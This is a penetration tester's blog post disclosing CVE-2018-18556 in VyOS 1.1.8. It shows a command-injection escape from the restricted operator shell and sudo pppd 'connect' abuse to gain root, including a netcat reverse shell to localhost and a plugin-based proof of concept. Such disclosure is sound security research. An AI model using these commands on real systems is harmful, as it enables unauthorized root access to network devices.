Rich Mirch

Penetration Tester, Security Researcher

CVE-2018-18556 – VyOS Privilege escalation via sudo pppd for operator users — November 5, 2018

CVE-2018-18556 – VyOS Privilege escalation via sudo pppd for operator users

Recently I found several ways to escape the restricted shell for an operator user in VyOS 1.1.8. VyOS is a Linux-based network operating system that provides software-based network routing, firewall, and VPN functionality. I plan to post information on the restricted shell escapes in the near future; For now read the blog by @dmbaturin detailing some of the methods.

This post will focus how root access was obtained using sudo after the restricted shell was escaped. One of my first post exploitation steps on Linux after a low privileged shell is obtained is to check if the user has sudo rules configured. Sudo is designed to limit privileges but often times it can be leveraged to elevate access.

First – let’s escape the restricted shell leveraging CVE-2018-18555 and show that it’s a non-root user.

user1@vyos> id

Invalid command: [id]

user1@vyos> telnet “127.0.0.1;/bin/bash”
telnet: can’t connect to remote host (127.0.0.1): Connection refused

user1@vyos> id
uid=1001(user1) gid=100(users) groups=100(users),37(operator)

Note: Some groups were omitted for formatting reasons

List the sudo rules with sudo -ll.  Note: output has been trimmed for brevity.

user1@vyos> sudo -ll
Matching Defaults entries for user1 on this host:
env_reset, syslog_goodpri=info, env_keep+=VYATTA_*

User user1 may run the following commands on this host:

Sudoers entry:

RunAsUsers: root
Commands:
/sbin/pppd, /sbin/poff, /usr/sbin/pppstats

Every command listed should be reviewed. The man and info pages is a great resource to learn about a command. For pppd, the connect option caught my attention. It appears that you can pass an arbitrary command/script.

connect script
Usually there is something which needs to be done to prepare the link before the PPP protocol can be started; for instance, with a dial-up modem, commands need to be sent to the modem to dial the appropriate phone number. This option specifies an command for pppd to execute (by passing it to a shell) before attempting to start PPP negotiation. The chat (8) program is often useful here, as it provides a way to send arbitrary strings to a modem and respond to received characters. A value for this option from a privileged source cannot be overridden by a non-privileged user.

As a test I created a shell script with the id command. This worked but pppd spewed a bunch of non-printable characters back to the current session and did not release the terminal. I could have just as easily added commands to create a setuid shell or added a root account. There are endless possibilities but I wanted to see what other options to get an interactive shell.

user1@vyos> echo “id >/dev/tty” > id.sh
user1@vyos> chmod 755 id.sh
user1@vyos> sudo /sbin/pppd connect $PWD/id.sh
uid=0(root) gid=0(root) groups=0(root)

~�}#�!}!}!} }4}”}&} } } } }%}&���}’}”}(}”+}”~~�}#�!}!}!} }4}”}&} } } } }%}&���}’}”}(}”+}”~~�}#�!}!}!} }4}”}&} } } } }%}&���}’}”}(}”+}”~~�}#�!}!}!} }4}”}&} } } } }%}&���}’}”}(}”+}”~~�}#�!}!}!} }4}”}&} } } } }%}&���}’}”}

Because pppd does not release the terminal when executing the connect script there isn’t a clean way to get an interactive shell in the current terminal.  For this test I opened a second ssh session and started a netcat listener.

user1@vyos> telnet “127.0.0.1;/bin/bash”
telnet: can’t connect to remote host (127.0.0.1): Connection refused
user1@vyos> netcat -v -l -p 9003
listening on [any] 9003 …

Now pass netcat as the connect option to pppd. Fortunately the bundled netcat binary was compiled with the -e(exec) option enabled.

user1@vyos> sudo pppd connect “netcat -e /bin/bash 127.0.0.1 9003”

Boom! A reverse root shell is received.

connect to [127.0.0.1] from localhost [127.0.0.1] 32772
id
uid=0(root) gid=0(root) groups=0(root)


At this point I wanted to see what other pppd options might be vulnerable. Three other parameters also take an arbitrary script/command as an argument – disconnect, init, and welcome and can be leveraged using the same method. The “plugin” option also looked promising.

plugin filename
Load the shared library object file filename as a plugin. This is a privileged option. If file-name does not contain a slash (/), pppd will look in the /usr/lib/pppd/version directory for the plugin, where version is the version number of pppd (for example, 2.4.2).

Because a compiler is not installed on VyOS by default I used a CentOS 7 system and created a simple a shared library to execute /bin/sh when loaded. Once I had a working PoC I copied over the library to test it on the VyOS system.  Full PoC available at CVE-2018-18556.sh

user1@vyos> id
uid=1001(user1) gid=100(users) groups=100(users),37(operator)
user1@vyos> ./CVE-2018-18556.sh
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1#

Next steps:

  • Submit a pull request to the FallofSudo project from @paragonsec to add the pppd command.
  • Continue to review other sudo rules for VyOS operators.